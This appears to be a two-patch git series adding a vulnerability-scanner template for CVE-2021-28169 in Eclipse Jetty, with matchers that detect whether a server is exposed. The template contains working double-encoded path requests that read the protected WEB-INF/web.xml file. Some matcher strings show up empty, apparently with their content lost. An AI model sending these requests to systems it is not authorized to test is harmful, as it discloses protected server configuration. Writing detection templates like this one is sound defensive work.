From b97d012636f690e0432fdef0ef9f915c39cead86 Mon Sep 17 00:00:00 2001 From: PikPikcU <60111811+pikpikcu@users.noreply.github.com> Date: Thu, 24 Jun 2021 16:00:02 +0000 Subject: [PATCH 1/2] Create CVE-2021-28169.yaml --- cves/2021/CVE-2021-28169.yaml | 36 +++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 cves/2021/CVE-2021-28169.yaml diff --git a/cves/2021/CVE-2021-28169.yaml b/cves/2021/CVE-2021-28169.yaml new file mode 100644 index 0000000000..9e4a64199a --- /dev/null +++ b/cves/2021/CVE-2021-28169.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-28169 + +info: + name: Jetty Utility Servlets Information Disclosure + author: pikpikcu + severity: info + reference: | + - https://twitter.com/sec715/status/1406787963569065988 + - https://nvd.nist.gov/vuln/detail/CVE-2021-28169 + description: | + For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory. + tags: cve,cve2021,jetty + +requests: + - method: GET + path: + - "{{BaseURL}}/static?/%2557EB-INF/web.xml" + - "{{BaseURL}}/concat?/%2557EB-INF/web.xml" + + matchers-condition: and + matchers: + + - type: word + words: + - "Content-Type: application/xml" + part: header + + - type: word + words: + - "" + - "" + part: body + + - type: status + status: + - 200 From a736120dc0f5c3de48228a134f619dfad7c1c7fe Mon Sep 17 00:00:00 2001 From: sandeep <8293321+ehsandeep@users.noreply.github.com> Date: Fri, 25 Jun 2021 00:02:05 +0530 Subject: [PATCH 2/2] minor updates --- cves/2021/CVE-2021-28169.yaml | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/cves/2021/CVE-2021-28169.yaml b/cves/2021/CVE-2021-28169.yaml index 9e4a64199a..23375aa842 100644 --- a/cves/2021/CVE-2021-28169.yaml +++ b/cves/2021/CVE-2021-28169.yaml @@ -22,14 +22,15 @@ requests: - type: word words: - - "Content-Type: application/xml" + - "application/xml" part: header - type: word words: - - "" - - "" + - "" + - "java.sun.com" part: body + condition: and - type: status status: